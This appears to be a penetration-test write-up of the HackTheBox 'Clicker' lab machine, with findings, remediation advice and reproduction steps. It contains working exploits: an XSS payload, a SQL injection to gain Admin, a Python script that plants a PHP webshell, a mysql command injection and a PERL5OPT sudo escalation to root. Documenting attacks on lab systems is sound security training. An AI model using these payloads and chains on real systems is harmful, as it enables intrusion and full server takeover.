Clicker - Pentest Report

Executive Summary

HackTheBox contracted Otrashoui Cybersecurity Services™ to perform a Network Penetration Test of one of Hack The Box’s internal hosts to identify security weaknesses, determine the impact to HackTheBox, and provide remediation recommendations.

Approach

Otrashoui Cybersecurity Services™ performed testing under a “black box” approach without credentials or any prior knowledge of HackTheBox’s environment.

Scope

Host Description
IP clicker web server

Assessment Overview and Recommendations

During the Penetration test against HackTheBox, Otrashoui Cybersecurity Services™ identified five (5) findings that affect HackTheBox’s information security posture.

The first finding involved an insecure NFS share. This file share was publicly accessible and contained a backup of the source code for the application running at http://clicker.htb. It possible to restrict access to these file shares by using configuration files or firewall rules.

Another finding involved a Cross Site Scripting vulnerability on the web site at http://clicker.htb. This vulnerability can used by attackers to access other users accounts, and potentially gain access to sensitive administrative functionality. This issue can be fixed by adopting secure coding practices.

The tester was able to exploit a SQL Injection vulnerability in the web application that allowed him to escalate privileges and become an “Admin” user. This is also an issue which can be fixed by secure coding practices.

With administrative access on the web application, the tester could exploit another vulnerability only exploitable by admin users. This vulnerability allowed to write arbitrary PHP code in the web directory, which resulted in remote code execution. Secure coding practices will mitigate this kind of issue, as well as better design decisions (such as not making the exported file available in the web directory).

There was a custom application on the server used to administer the database. The tester found a flaw that allowed him to execute system commands as another user, thus escalating privileges. One way to fix this issue is to create a dedicated low privilege user user to perform these kinds of tasks.

Finally, a user on the system was allowed to run specific commands as a high privilege user. The tester found a way to execute arbitrary system commands as the super user, thus granting full access over the clicker server. This issue can be fixed by hardening the rules used to allow low privilege users to run commands as the super user.

Summary of Findings

The following table presents a summary of findings by severity level:

High Medium Low Total
4 1 0 5

Below is a high-level overview of each finding identified during the assessment. These findings are covered in depth in the Technical Findings Details section of this report:

Name Severity
Cross Site Scripting High
SQL Injection High
Arbitrary File Write High
Command Injection High
Insecure NFS Share Medium

Exploitation Walkthrough

During the course of the assessment, Otrashoui Cybersecurity Services™ was able to gain a foothold and compromise the in-scope host. The steps below demonstrate how the tester went from unauthenticated user to administrative access on the host.

Detailed Walkthrough

  1. A NFS share was publicly accessible, which contained a backup of the web application running on http://clicker.htb.
  2. Upon analysis of the source code, the tester found a SQL injection vulnerability that allows to escalate privileges to “Admin”.
  3. There was an administrative functionality that allowed exporting player stats to a file. It was possible to specify an arbitrary extension to the file and control some of the content, which resulted in remote code execution.
  4. A custom SETUID executable allowed any user to run SQL queries via the mysql client as the jack user. It is possible to run arbitrary system commands by specifying a custom SQL script to run with mysql.
  5. The jack user is allowed to run the script /opt/monitor.sh as root without password. The sudo rule uses the directive SETENV which allows to pass environment variables to the process running as root. It was possible to export an environment variable to pass command line flags to the perl interpreter which resulted in executing arbitrary commands as root.

Reproduction Steps

In the following code snippets, [...] is used to discard irrelevant output in the current context. Additionally, lines starting with the $ character indicate a system command typed by the tester.

List the available NFS shares:

$ showmount -e 10.129.128.152
Export list for 10.129.128.152:
/mnt/backups *

Create a nfs loca directory and mount the NFS share into this directory (requires root privileges):

$ mkdir nfs
$ sudo mount -t nfs -o nolock 10.129.128.152:/mnt/backups ./nfs
$ ls ./nfs
clicker.htb_backup.zip

The following command exploits the first SQL injection to promote all users in the DB to the “Admin” role:

$ curl -ib PHPSESSID=0679lrlantvs55rmo7ro55ng02 clicker.htb/save_game.php -G -d 'role%3D%22Admin%22%23=sdofiu'
HTTP/1.1 302 Found
Date: Sun, 24 Sep 2023 18:18:03 GMT
Server: Apache/2.4.52 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: /index.php?msg=Game has been saved!
Content-Length: 0
Content-Type: text/html; charset=UTF-8

After logging out and logging back in, the administration panel is now accessible:

Admins have access to an export functionality to write player stats to a file. It is possible to control the extension of that file, and it is accessible in the web directory:

[...]
$filename = "exports/top_players_" . random_string(8) . "." . $_POST["extension"];
file_put_contents($filename, $s);
header('Location: /admin.php?msg=Data has been saved in ' . $filename);

It is possible to execute arbitrary system commands by modifying our own nickname to PHP code, and set the extension to php.

A python script is provided for convenience:

$ python3 rce.py id
[+] successfully registered account
[+] successfully logged in
[+] escalated to Admin
[+] wrote PHP webshell
command output: uid=33(www-data) gid=33(www-data) groups=33(www-data)

The custom SETUID executable at /opt/manage/execute_query allows any user to run arbitrary system commands as jack:

www-data@clicker:/opt/manage$ echo '\! /usr/bin/id' > /tmp/f.sql

www-data@clicker:/opt/manage$ ./execute_query 42 ../../../tmp/f.sql
mysql: [Warning] Using a password on the command line interface can be insecure.
uid=1000(jack) gid=33(www-data) groups=33(www-data)

The user jack is allowed to run a custom shell script as root without password:

jack@clicker:~$ sudo -l
Matching Defaults entries for jack on clicker:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User jack may run the following commands on clicker:
    (ALL : ALL) ALL
    (root) SETENV: NOPASSWD: /opt/monitor.sh

The SETENV directive is used, meaning environment variables can be passed to the process running as root.

Here is the bash script:

!/bin/bash
if [ "$EUID" -ne 0 ]
  then echo "Error, please run as root"
  exit
fi

set PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
unset PERL5LIB;
unset PERLLIB;

data=$(/usr/bin/curl -s http://clicker.htb/diagnostic.php?token=secret_diagnostic_token);
/usr/bin/xml_pp <<< $data;
if [[ $NOSAVE == "true" ]]; then
    exit;
else
    timestamp=$(/usr/bin/date +%s)
    /usr/bin/echo $data > /root/diagnostic_files/diagnostic_${timestamp}.xml
fi

xml_pp is a Perl script used to “pretty-print” XML documents.

The PERL5LIB and PERLLIB environment variables are unset but the Perl documentation mentions a PERL5OPT variable that allows to pass command line options to the perl interpreter.

The -I option is used to specify a directory which will be prepended to the search path for Perl modules. The -m option is used to import a function from a Perl module. It will also execute Perl code in this module.

To exploit this, create a malicious Perl module at /home/jack/evil.pm:

package evil;

system "id";

sub rce {
    print "hehe";
}

1;

Then export the PERL5OPT environment variable to add /home/jack to the Perl module path and import the rce function:

jack@clicker:~$ export PERL5OPT='-I/home/jack -mevil=rce'

jack@clicker:~$ sudo --preserve-env=PERL5OPT /opt/monitor.sh
uid=0(root) gid=0(root) groups=0(root)
<?xml version="1.0"?>
<data>
[...]

The rce function is never called, but the line system "id"; is executed when the module is imported.

Remediation Summary

Short Term

Medium Term

Long Term

Technical Findings Details

1. Cross Site Scripting (XSS) - High

CVSS 3.1 Score 8.0
Affected Application http://clicker.htb
Description Cross Site Scripting vulnerabilities (XSS) occur when a web application includes user supplied input in the web page, without properly validating or sanitizing the input.
Impact An attacker can exploit a XSS vulnerability to take over accounts of other users, perform actions in the context of the victime or modify the appearance of the web site.
Remediation Validate and/or sanitize user input before including it in a web page.
External References https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html

Evidence

The game_level.php endpoint allows users to modify their profile, but doesn’t validate input. As a result it is possible to update our own profile and place a XSS payload in one of the fields displayed in /profile.php:

$ curl -ib PHPSESSID=8fibugg7ki8f00l0k7j9lkonhl 'clicker.htb/save_game.php?level=<script>alert(1)</script>'
HTTP/1.1 302 Found
Date: Sat, 23 Sep 2023 22:19:20 GMT
Server: Apache/2.4.52 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: /index.php?msg=Game has been saved!
Content-Length: 0
Content-Type: text/html; charset=UTF-8

Visit http://clicker.htb/profile.php to confirm the vulnerability:

2. SQL Injection - High

CWE 89
CVSS 3.1 Score 8.1
Affected Host http://clicker.htb
Description
Impact An attacker can escalate their privileges to administrator, giving them access to sensitive information and functionality in the web application.
Remediation Always use SQL “prepared statements” when building a SQL query.
External References https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html

Evidence

The first vulnerability is in the save_profile function in db_utils.php:

function save_profile($player, $args) {
    global $pdo;
    $params = ["player"=>$player];
    $setStr = "";
    foreach ($args as $key => $value) {
        $setStr .= $key . "=" . $pdo->quote($value) . ",";
    }
    $setStr = rtrim($setStr, ",");
    $stmt = $pdo->prepare("UPDATE players SET $setStr WHERE username = :player");
    $stmt -> execute($params);
}

The $player parameter is properly sanitized but $args isn’t.

There is another one in the get_top_players() function (still db_utils.php):

// ONLY FOR THE ADMIN
function get_top_players($number) {
    global $pdo;
    $stmt = $pdo->query("SELECT nickname,clicks,level FROM players WHERE clicks >= " . $number);
    $result = $stmt->fetchAll(PDO::FETCH_ASSOC);
    return $result;
}

If an attacker is able to control the $number parameter, it is possible to exploit the vulnerability.

The following command exploits the first SQL injection to promote all users in the DB to the “Admin” role:

$ curl -ib PHPSESSID=0679lrlantvs55rmo7ro55ng02 clicker.htb/save_game.php -G -d 'role%3D%22Admin%22%23=sdofiu'
HTTP/1.1 302 Found
Date: Sun, 24 Sep 2023 18:18:03 GMT
Server: Apache/2.4.52 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: /index.php?msg=Game has been saved!
Content-Length: 0
Content-Type: text/html; charset=UTF-8

After logging out and logging back in, the administration panel is now accessible:

3. Arbitrary File Write - High

CWE 434
CVSS 3.1 Score 6.7
Affected Host http://clicker.htb
Description The web application has an administrative functionality to export player stats to a file. There is no restriction on the file extension and it is possible to control some of the content.
Impact An attacker can exploit this vulnerability to write a PHP file in the web directory, resulting in remote code execution.
Remediation Restrict allowed file extensions. Consider storing the files outside the web directory.
External References https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html

Evidence

The vulnerable code is in export.php:

[...]
$filename = "exports/top_players_" . random_string(8) . "." . $_POST["extension"];
file_put_contents($filename, $s);
header('Location: /admin.php?msg=Data has been saved in ' . $filename);

It is possible to specify an arbitrary extension to the file written in the /exports directory, which is accessible at http://clicker.htb/exports/. By modifying one of the

The following python script exploits the SQL injection and this vulnerability to execute an arbitrary system command:

#!/usr/bin/env python3

import requests
import sys
import re

URL = "http://clicker.htb"

with requests.Session() as session:
    #session.proxies.update({"http": "http://127.0.0.1:8080"})
    creds = {"username": "pwnage", "password": "pwnage"}

    # login and register
    res = session.post(URL + "/create_player.php", data=creds, allow_redirects=False)
    location = res.headers.get("location")
    if location and "Successfully registered" in location:
        print("[+] successfully registered account")
    else:
        print("[-] failed to register account")
    res = session.post(URL + "/authenticate.php", data=creds, allow_redirects=False)
    location = res.headers.get("location")
    if location and location == "/index.php":
        print("[+] successfully logged in")
    else:
        print("[-] failed to login")
        sys.exit(1)

    # exploit SQLi to become admin (need to logout and log back in to work)
    # need to put tabs instead of spaces (don't know why)
    payload = {'role="Admin"\tWHERE\tusername="pwnage"#': "doesntmatter"}
    res = session.get(URL + "/save_game.php", params=payload, allow_redirects=False)
    session.get(URL + "/logout.php", allow_redirects=False)
    session.post(URL + "/authenticate.php", data=creds, allow_redirects=False)
    print("[+] escalated to Admin")

    # write PHP webshell
    payload = {"nickname": "WEBSHELL <?php system($_REQUEST['cmd']); ?> WEBSHELL"}
    res = session.get(URL + "/save_game.php", params=payload, allow_redirects=False)
    payload = {"extension": "php"}
    res = session.post(URL + "/export.php", data=payload, allow_redirects=False)
    print("[+] wrote PHP webshell")

    filename = res.headers["location"].split()[-1]
    cmd = {"cmd": sys.argv[1]}
    res = session.post(URL + "/" + filename, data=cmd)
    match = re.search(r"WEBSHELL (.*)\s? WEBSHELL", res.text)
    if match:
        print(f"command output: {match.group(1)}")
    else:
        print("[-] no output ...")

Specify the command to run as an argument:

$ python3 rce.py id
[+] successfully registered account
[+] successfully logged in
[+] escalated to Admin
[+] wrote PHP webshell
uid=33(www-data) gid=33(www-data) groups=33(www-data)

4. Command Injection - High

CWE 78
CVSS 3.1 Score 8.0
Affected Host clicker
Description The /opt/manage/execute_query custom SETUID executable allows any user to run SQL queries via the mysql client as the jack user. It is possible to run arbitrary system commands.
Impact An attacker already present on the system can exploit this vulnerability elevate their privileges to the jack user.
Remediation Only allow trusted users to use this application.
External References https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html

Evidence

Using a decompiler such as Ghidra, it is possible to get C-like code from the binary. Here is the code used to determine what SQL script to run.

[...]
choice = atoi(argv[1]);
filename = calloc(0x14, 1);
switch(choice) {
    case 0:
        puts("ERROR: Invalid arguments");
        uVar1 = 2;
        goto LAB_001015e1;
    case 1:
        strncpy(filename, "create.sql", 0x14);
        break;
    case 2:
        strncpy(filename, "populate.sql", 0x14);
        break;
    case 3:
        strncpy(filename, "reset_password.sql", 0x14);
        break;
    case 4:
        strncpy(filename, "clean.sql", 0x14);
        break;
    default:
        strncpy(filename, argv[2], 0x14);
}
[...]

By specifying an argument greater that 4, the program will set the filename to the second argument of the program.

This filename is then concatenated to a hardcoded directory such that the resulting string will look like /home/jack/queries/<filename>.

The absolute path is then added at the end of a string representing the command to run with system():

/usr/bin /mysql -u clicker_db_user --password='clicker_db_password' clicker -v < /home/jack/queries/<filename>

Using directory traversal, it is possible to pass any file to this command.

The mysql command is in GTFOBins, and it can be used to execute system commands as jack with this payload:

www-data@clicker:/opt/manage$ echo '\! /usr/bin/id' > /tmp/f.sql

www-data@clicker:/opt/manage$ ./execute_query 42 ../../../tmp/f.sql
mysql: [Warning] Using a password on the command line interface can be insecure.
uid=1000(jack) gid=33(www-data) groups=33(www-data)

5. Insecure NFS Share - Medium

CWE 200
CVSS 3.1 Score 5.3
Affected Host clicker.htb
Description A NFS is exposed publicly.
Impact An attacker may get access to sensitive files, such as configuration files or credentials.
Remediation Restrict access to NFS shares to specific IP addresses.
External References https://www.baeldung.com/linux/nfs-security-over-internet

Evidence

$ showmount -e 10.129.128.152
Export list for 10.129.128.152:
/mnt/backups *
$ mkdir nfs
$ sudo mount -t nfs -o nolock 10.129.128.152:/mnt/backups ./nfs
$ ls ./nfs
clicker.htb_backup.zip